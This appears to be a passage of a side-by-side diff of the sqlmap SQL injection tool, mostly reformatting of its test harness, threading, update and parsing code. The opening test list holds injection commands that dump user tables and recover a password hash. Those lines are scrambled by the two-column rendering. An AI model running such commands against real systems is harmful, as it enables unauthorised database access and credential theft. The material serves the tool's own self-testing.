("-u <url> --flush-session -H \"id: 1*\" --tables -t <tmpfile>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), "banner: '3.")),
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), (
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), "-u <base> --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"<root><param name=\\\"id\\\" value=\\\"1*\\\"/></root>\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5",
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 5")), ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind",
"Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
(
"-u <base> --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har=<tmpfile> --dump -T users --start=1 --stop=2",
("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")),
("-u <url> --flush-session -H \"id: 1*\" --tables -t <tmpfile>", (
"might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind",
"Type: time-based blind", "Type: UNION query", " users ")),
(
"-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter=\"OR boolean\" --tamper=space2dash",
("banner: '3.", " LIKE ")),
(
"-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3",
("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind",
"Type: UNION query", " users ")),
(
"-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users",
("NULL connection is supported with HEAD method", "banner: '3.", "users | 5")),
("-u <base> --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), ("-u <base> --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)),
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), (
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), "-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"",
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
("-u <url> --flush-session --technique=BU --all", ("5 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"",
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")), ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
(
"-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3",
("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
("-u <url> --flush-session --technique=BU --all", (
"5 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy",
"179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"",
("SELECT * FROM users [5]", "nameisnull")),
("-u \"<url>&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"<url>&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)),
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), (
("-d \"<direct>\" --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")), "-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "'987654321'",)), ("-d \"<direct>\" --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"",
("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")),
(
"-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"",
("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "'987654321'",)),
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
) )
@ -152,7 +199,8 @@ def vulnTest():
f.write(content) f.write(content)
f.flush() f.flush()
content = '<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False)) content = '<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (
port, encodeBase64(content, binary=False))
with open(log, "w+") as f: with open(log, "w+") as f:
f.write(content) f.write(content)
f.flush() f.flush()
@ -162,12 +210,14 @@ def vulnTest():
direct = "sqlite3://%s" % database direct = "sqlite3://%s" % database
tmpdir = tempfile.mkdtemp() tmpdir = tempfile.mkdtemp()
content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url) content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace(
"url =", "url = %s" % url)
with open(config, "w+") as f: with open(config, "w+") as f:
f.write(content) f.write(content)
f.flush() f.flush()
content = "%s?%s=%d\n%s?%s=%d\n%s&%s=1" % (base, randomStr(), randomInt(), base, randomStr(), randomInt(), url, randomStr()) content = "%s?%s=%d\n%s?%s=%d\n%s&%s=1" % (
base, randomStr(), randomInt(), base, randomStr(), randomInt(), url, randomStr())
with open(multiple, "w+") as f: with open(multiple, "w+") as f:
f.write(content) f.write(content)
f.flush() f.flush()
@ -180,10 +230,14 @@ def vulnTest():
options = options.replace(u"\u0161u\u0107uraj", "sucuraj") options = options.replace(u"\u0161u\u0107uraj", "sucuraj")
checks = [check.replace(u"\u0161u\u0107uraj", "sucuraj") for check in checks] checks = [check.replace(u"\u0161u\u0107uraj", "sucuraj") for check in checks]
for tag, value in (("<url>", url), ("<base>", base), ("<direct>", direct), ("<tmpdir>", tmpdir), ("<request>", request), ("<log>", log), ("<multiple>", multiple), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))): for tag, value in (
("<url>", url), ("<base>", base), ("<direct>", direct), ("<tmpdir>", tmpdir), ("<request>", request),
("<log>", log), ("<multiple>", multiple), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
options = options.replace(tag, value) options = options.replace(tag, value)
cmd = "%s \"%s\" %s --batch --non-interactive --debug --time-sec=1" % (sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options) cmd = "%s \"%s\" %s --batch --non-interactive --debug --time-sec=1" % (
sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable,
os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
if "<tmpfile>" in cmd: if "<tmpfile>" in cmd:
handle, tmp = tempfile.mkstemp() handle, tmp = tempfile.mkstemp()
@ -192,7 +246,8 @@ def vulnTest():
output = shellExec(cmd) output = shellExec(cmd)
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output: if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in
checks) or "unhandled exception" in output:
dataToStdout("---\n\n$ %s\n" % cmd) dataToStdout("---\n\n$ %s\n" % cmd)
dataToStdout("%s---\n" % output, coloring=False) dataToStdout("%s---\n" % output, coloring=False)
retVal = False retVal = False
@ -207,6 +262,7 @@ def vulnTest():
return retVal return retVal
def smokeTest(): def smokeTest():
""" """
Runs the basic smoke testing of a program Runs the basic smoke testing of a program
@ -249,7 +305,8 @@ def smokeTest():
except Exception as ex: except Exception as ex:
retVal = False retVal = False
dataToStdout("\r") dataToStdout("\r")
errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), ex) errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (
path, os.path.join(root, filename), ex)
logger.error(errMsg) logger.error(errMsg)
else: else:
logger.setLevel(logging.CRITICAL) logger.setLevel(logging.CRITICAL)

View File

@ -30,6 +30,7 @@ from lib.core.settings import PYVERSION
shared = AttribDict() shared = AttribDict()
class _ThreadData(threading.local): class _ThreadData(threading.local):
""" """
Represents thread independent data Represents thread independent data
@ -68,16 +69,20 @@ class _ThreadData(threading.local):
self.validationRun = 0 self.validationRun = 0
self.valueStack = [] self.valueStack = []
ThreadData = _ThreadData() ThreadData = _ThreadData()
def readInput(message, default=None, checkBatch=True, boolean=False): def readInput(message, default=None, checkBatch=True, boolean=False):
# It will be overwritten by original from lib.core.common # It will be overwritten by original from lib.core.common
pass pass
def isDigit(value): def isDigit(value):
# It will be overwritten by original from lib.core.common # It will be overwritten by original from lib.core.common
pass pass
def getCurrentThreadData(): def getCurrentThreadData():
""" """
Returns current thread's local data Returns current thread's local data
@ -85,6 +90,7 @@ def getCurrentThreadData():
return ThreadData return ThreadData
def getCurrentThreadName(): def getCurrentThreadName():
""" """
Returns current's thread name Returns current's thread name
@ -92,6 +98,7 @@ def getCurrentThreadName():
return threading.current_thread().getName() return threading.current_thread().getName()
def exceptionHandledFunction(threadFunction, silent=False): def exceptionHandledFunction(threadFunction, silent=False):
try: try:
threadFunction() threadFunction()
@ -102,13 +109,16 @@ def exceptionHandledFunction(threadFunction, silent=False):
except Exception as ex: except Exception as ex:
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)): if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex)) SqlmapUserQuitException, SqlmapSkipTargetException)):
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (
type(ex).__name__, getSafeExString(ex))
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException): if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException):
traceback.print_exc() traceback.print_exc()
def setDaemon(thread): def setDaemon(thread):
# Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
if PYVERSION >= "2.6": if PYVERSION >= "2.6":
@ -116,7 +126,9 @@ def setDaemon(thread):
else: else:
thread.setDaemon(True) thread.setDaemon(True)
def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False,
startThreadMsg=True):
threads = [] threads = []
def _threadFunction(): def _threadFunction():
@ -133,7 +145,8 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.multiThreadMode = False kb.multiThreadMode = False
try: try:
if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(
_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
while True: while True:
message = "please enter number of threads? [Enter for %d (current)] " % numThreads message = "please enter number of threads? [Enter for %d (current)] " % numThreads
choice = readInput(message, default=str(numThreads)) choice = readInput(message, default=str(numThreads))
@ -207,7 +220,8 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.lastCtrlCTime = time.time() kb.lastCtrlCTime = time.time()
if numThreads > 1: if numThreads > 1:
logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else "")) logger.info("waiting for threads to finish%s" % (
" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
try: try:
while (threading.active_count() > 1): while (threading.active_count() > 1):
pass pass

View File

@ -9,6 +9,7 @@ from lib.core.common import Backend
from lib.core.datatype import AttribDict from lib.core.datatype import AttribDict
from lib.core.settings import EXCLUDE_UNESCAPE from lib.core.settings import EXCLUDE_UNESCAPE
class Unescaper(AttribDict): class Unescaper(AttribDict):
def escape(self, expression, quote=True, dbms=None): def escape(self, expression, quote=True, dbms=None):
if expression is None: if expression is None:
@ -32,4 +33,5 @@ class Unescaper(AttribDict):
return retVal return retVal
unescaper = Unescaper() unescaper = Unescaper()

View File

@ -32,6 +32,7 @@ from lib.core.settings import TYPE
from lib.core.settings import ZIPBALL_PAGE from lib.core.settings import ZIPBALL_PAGE
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
def update(): def update():
if not conf.updateAll: if not conf.updateAll:
return return
@ -50,7 +51,8 @@ def update():
output = "" output = ""
try: try:
process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE,
stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
pollProcess(process, True) pollProcess(process, True)
output, _ = process.communicate() output, _ = process.communicate()
success = not process.returncode success = not process.returncode
@ -61,7 +63,10 @@ def update():
output = getText(output) output = getText(output)
if success: if success:
logger.info("%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to", extractRegexResult(r"\binstalled sqlmap-(?P<result>\d+\.\d+\.\d+)", output) or extractRegexResult(r"\((?P<result>\d+\.\d+\.\d+)\)", output))) logger.info("%s the latest revision '%s'" % (
"already at" if "already up-to-date" in output else "updated to",
extractRegexResult(r"\binstalled sqlmap-(?P<result>\d+\.\d+\.\d+)", output) or extractRegexResult(
r"\((?P<result>\d+\.\d+\.\d+)\)", output)))
else: else:
logger.error("update could not be completed ('%s')" % re.sub(r"[^a-z0-9:/\\]+", " ", output).strip()) logger.error("update could not be completed ('%s')" % re.sub(r"[^a-z0-9:/\\]+", " ", output).strip())
@ -123,7 +128,8 @@ def update():
try: try:
os.chmod(os.path.join(directory, "sqlmap.py"), attrs) os.chmod(os.path.join(directory, "sqlmap.py"), attrs)
except OSError: except OSError:
logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py")) logger.warning(
"could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py"))
else: else:
infoMsg = "updating sqlmap to the latest development revision from the " infoMsg = "updating sqlmap to the latest development revision from the "
@ -137,7 +143,8 @@ def update():
output = "" output = ""
try: try:
process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
pollProcess(process, True) pollProcess(process, True)
output, _ = process.communicate() output, _ = process.communicate()
success = not process.returncode success = not process.returncode
@ -148,7 +155,8 @@ def update():
output = getText(output) output = getText(output)
if success: if success:
logger.info("%s the latest revision '%s'" % ("already at" if "Already" in output else "updated to", getRevisionNumber())) logger.info("%s the latest revision '%s'" % (
"already at" if "Already" in output else "updated to", getRevisionNumber()))
else: else:
if "Not a git repository" in output: if "Not a git repository" in output:
errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository " errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "

View File

@ -13,6 +13,7 @@ from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapInstallationException from lib.core.exception import SqlmapInstallationException
from thirdparty import six from thirdparty import six
class Wordlist(six.Iterator): class Wordlist(six.Iterator):
""" """
Iterator for looping over a large dictionaries Iterator for looping over a large dictionaries

View File

@ -17,6 +17,7 @@ from lib.core.data import paths
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.parse.handler import FingerprintHandler from lib.parse.handler import FingerprintHandler
class MSSQLBannerHandler(ContentHandler): class MSSQLBannerHandler(ContentHandler):
""" """
This class defines methods to parse and extract information from the This class defines methods to parse and extract information from the
@ -83,6 +84,7 @@ class MSSQLBannerHandler(ContentHandler):
self._inServicePack = False self._inServicePack = False
self._servicePack = self._servicePack.replace(" ", "") self._servicePack = self._servicePack.replace(" ", "")
def bannerParser(banner): def bannerParser(banner):
""" """
This function calls a class to extract information from the given This function calls a class to extract information from the given

File diff suppressed because it is too large Load Diff

View File

@ -21,6 +21,7 @@ from lib.core.optiondict import optDict
config = None config = None
def configFileProxy(section, option, datatype): def configFileProxy(section, option, datatype):
""" """
Parse configuration file and save settings into the configuration Parse configuration file and save settings into the configuration
@ -52,6 +53,7 @@ def configFileProxy(section, option, datatype):
debugMsg += "ignoring. Skipping to next." debugMsg += "ignoring. Skipping to next."
logger.debug(debugMsg) logger.debug(debugMsg)
def configFileParser(configFile): def configFileParser(configFile):
""" """
Parse configuration file and save settings into the configuration Parse configuration file and save settings into the configuration

View File

@ -11,6 +11,7 @@ from xml.sax.handler import ContentHandler
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
class FingerprintHandler(ContentHandler): class FingerprintHandler(ContentHandler):
""" """
This class defines methods to parse and extract information from This class defines methods to parse and extract information from
@ -66,7 +67,8 @@ class FingerprintHandler(ContentHandler):
self._feedInfo("dbmsVersion", self._match.group(int(self._dbmsVersion))) self._feedInfo("dbmsVersion", self._match.group(int(self._dbmsVersion)))
if self._techVersion and self._techVersion.isdigit(): if self._techVersion and self._techVersion.isdigit():
self._feedInfo("technology", "%s %s" % (attrs.get("technology"), self._match.group(int(self._techVersion)))) self._feedInfo("technology",
"%s %s" % (attrs.get("technology"), self._match.group(int(self._techVersion))))
else: else:
self._feedInfo("technology", attrs.get("technology")) self._feedInfo("technology", attrs.get("technology"))

View File

@ -12,6 +12,7 @@ from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
from lib.parse.handler import FingerprintHandler from lib.parse.handler import FingerprintHandler
def headersParser(headers): def headersParser(headers):
""" """
This function calls a class that parses the input HTTP headers to This function calls a class that parses the input HTTP headers to

View File

@ -16,6 +16,7 @@ from lib.core.data import paths
from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
class HTMLHandler(ContentHandler): class HTMLHandler(ContentHandler):
""" """
This class defines methods to parse the input HTML page to This class defines methods to parse the input HTML page to
@ -53,11 +54,13 @@ class HTMLHandler(ContentHandler):
keywords = sorted(keywords, key=len) keywords = sorted(keywords, key=len)
kb.cache.regex[regexp] = keywords[-1].lower() kb.cache.regex[regexp] = keywords[-1].lower()
if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I): if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(
regexp, self._urldecoded_page, re.I):
self.dbms = self._dbms self.dbms = self._dbms
self._markAsErrorPage() self._markAsErrorPage()
kb.forkNote = kb.forkNote or attrs.get("fork") kb.forkNote = kb.forkNote or attrs.get("fork")
def htmlParser(page): def htmlParser(page):
""" """
This function calls a class that parses the input HTML page to This function calls a class that parses the input HTML page to

View File

@ -18,9 +18,12 @@ from lib.core.datatype import AttribDict
from lib.core.exception import SqlmapInstallationException from lib.core.exception import SqlmapInstallationException
from lib.core.settings import PAYLOAD_XML_FILES from lib.core.settings import PAYLOAD_XML_FILES
def cleanupVals(text, tag): def cleanupVals(text, tag):
if tag == "clause" and '-' in text: if tag == "clause" and '-' in text:
text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text) text = re.sub(r"(\d+)-(\d+)",
lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)),
text)
if tag in ("clause", "where"): if tag in ("clause", "where"):
text = text.split(',') text = text.split(',')
@ -40,6 +43,7 @@ def cleanupVals(text, tag):
return text return text
def parseXmlNode(node): def parseXmlNode(node):
for element in node.findall("boundary"): for element in node.findall("boundary"):
boundary = AttribDict() boundary = AttribDict()
@ -76,6 +80,7 @@ def parseXmlNode(node):
conf.tests.append(test) conf.tests.append(test)
def loadBoundaries(): def loadBoundaries():
""" """
Loads boundaries from XML Loads boundaries from XML
@ -97,6 +102,7 @@ def loadBoundaries():
root = doc.getroot() root = doc.getroot()
parseXmlNode(root) parseXmlNode(root)
def loadPayloads(): def loadPayloads():
""" """
Loads payloads/tests from XML Loads payloads/tests from XML

View File

@ -17,6 +17,7 @@ from thirdparty.six.moves import http_client as _http_client
abortedFlag = None abortedFlag = None
def parseSitemap(url, retVal=None): def parseSitemap(url, retVal=None):
global abortedFlag global abortedFlag

View File

@ -61,6 +61,7 @@ from thirdparty.odict import OrderedDict
from thirdparty.six import unichr as _unichr from thirdparty.six import unichr as _unichr
from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import http_client as _http_client
@lockedmethod @lockedmethod
def forgeHeaders(items=None, base=None): def forgeHeaders(items=None, base=None):
""" """
@ -97,7 +98,7 @@ def forgeHeaders(items=None, base=None):
if key.upper() not in (_.upper() for _ in getPublicTypeMembers(HTTP_HEADER, True)): if key.upper() not in (_.upper() for _ in getPublicTypeMembers(HTTP_HEADER, True)):
try: try:
headers[_str(key)] = value # dirty hack for http://bugs.python.org/issue12455 headers[_str(key)] = value # dirty hack for http://bugs.python.org/issue12455
except UnicodeEncodeError: # don't do the hack on non-ASCII header names (they have to be properly encoded later on) except UnicodeEncodeError: # don't do the hack on non-ASCII header names (they have to be properly encoded later on)
pass pass
else: else:
success = True success = True
@ -113,7 +114,8 @@ def forgeHeaders(items=None, base=None):
if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]): if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]):
if conf.loadCookies: if conf.loadCookies:
conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders) conf.httpHeaders = filterNone(
(item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)
elif kb.mergeCookies is None: elif kb.mergeCookies is None:
message = "you provided a HTTP %s header value, while " % HTTP_HEADER.COOKIE message = "you provided a HTTP %s header value, while " % HTTP_HEADER.COOKIE
message += "target URL provides its own cookies within " message += "target URL provides its own cookies within "
@ -124,23 +126,30 @@ def forgeHeaders(items=None, base=None):
if kb.mergeCookies and kb.injection.place != PLACE.COOKIE: if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
def _(value): def _(value):
return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value) return re.sub(r"(?i)\b%s=[^%s]+" % (
re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER),
("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\',
r'\\'),
value)
headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])
if PLACE.COOKIE in conf.parameters: if PLACE.COOKIE in conf.parameters:
conf.parameters[PLACE.COOKIE] = _(conf.parameters[PLACE.COOKIE]) conf.parameters[PLACE.COOKIE] = _(conf.parameters[PLACE.COOKIE])
conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders] conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item
in conf.httpHeaders]
elif not kb.testMode: elif not kb.testMode:
headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, getUnicode(cookie.name), getUnicode(cookie.value)) headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (
conf.cookieDel or DEFAULT_COOKIE_DELIMITER, getUnicode(cookie.name), getUnicode(cookie.value))
if kb.testMode and not any((conf.csrfToken, conf.safeUrl)): if kb.testMode and not any((conf.csrfToken, conf.safeUrl)):
resetCookieJar(conf.cj) resetCookieJar(conf.cj)
return headers return headers
def parseResponse(page, headers, status=None): def parseResponse(page, headers, status=None):
""" """
@param page: the page to parse to feed the knowledge base htmlFp @param page: the page to parse to feed the knowledge base htmlFp
@ -155,6 +164,7 @@ def parseResponse(page, headers, status=None):
if page: if page:
htmlParser(page if not status else "%s\n\n%s" % (status, page)) htmlParser(page if not status else "%s\n\n%s" % (status, page))
@cachedmethod @cachedmethod
def checkCharEncoding(encoding, warn=True): def checkCharEncoding(encoding, warn=True):
""" """
@ -179,7 +189,10 @@ def checkCharEncoding(encoding, warn=True):
return encoding return encoding
# Reference: http://www.destructor.de/charsets/index.htm # Reference: http://www.destructor.de/charsets/index.htm
translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"} translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1",
"euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be",
"iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk",
"windows-31j": "cp932", "en": "us"}
for delimiter in (';', ',', '('): for delimiter in (';', ',', '('):
if delimiter in encoding: if delimiter in encoding:
@ -201,7 +214,7 @@ def checkCharEncoding(encoding, warn=True):
elif "2313" in encoding: elif "2313" in encoding:
encoding = encoding.replace("2313", "2312") # gb2313 -> gb2312 encoding = encoding.replace("2313", "2312") # gb2313 -> gb2312
elif encoding.startswith("x-"): elif encoding.startswith("x-"):
encoding = encoding[len("x-"):] # x-euc-kr -> euc-kr / x-mac-turkish -> mac-turkish encoding = encoding[len("x-"):] # x-euc-kr -> euc-kr / x-mac-turkish -> mac-turkish
elif "windows-cp" in encoding: elif "windows-cp" in encoding:
encoding = encoding.replace("windows-cp", "windows") # windows-cp-1254 -> windows-1254 encoding = encoding.replace("windows-cp", "windows") # windows-cp-1254 -> windows-1254
@ -249,6 +262,7 @@ def checkCharEncoding(encoding, warn=True):
return encoding return encoding
def getHeuristicCharEncoding(page): def getHeuristicCharEncoding(page):
""" """
Returns page encoding charset detected by usage of heuristics Returns page encoding charset detected by usage of heuristics
@ -260,7 +274,8 @@ def getHeuristicCharEncoding(page):
""" """
key = hash(page) key = hash(page)
retVal = kb.cache.encoding[key] if key in kb.cache.encoding else detect(page[:HEURISTIC_PAGE_SIZE_THRESHOLD])["encoding"] retVal = kb.cache.encoding[key] if key in kb.cache.encoding else detect(page[:HEURISTIC_PAGE_SIZE_THRESHOLD])[
"encoding"]
kb.cache.encoding[key] = retVal kb.cache.encoding[key] = retVal
if retVal and retVal.lower().replace('-', "") == UNICODE_ENCODING.lower().replace('-', ""): if retVal and retVal.lower().replace('-', "") == UNICODE_ENCODING.lower().replace('-', ""):
@ -269,6 +284,7 @@ def getHeuristicCharEncoding(page):
return retVal return retVal
def decodePage(page, contentEncoding, contentType, percentDecode=True): def decodePage(page, contentEncoding, contentType, percentDecode=True):
""" """
Decode compressed/charset HTTP response Decode compressed/charset HTTP response
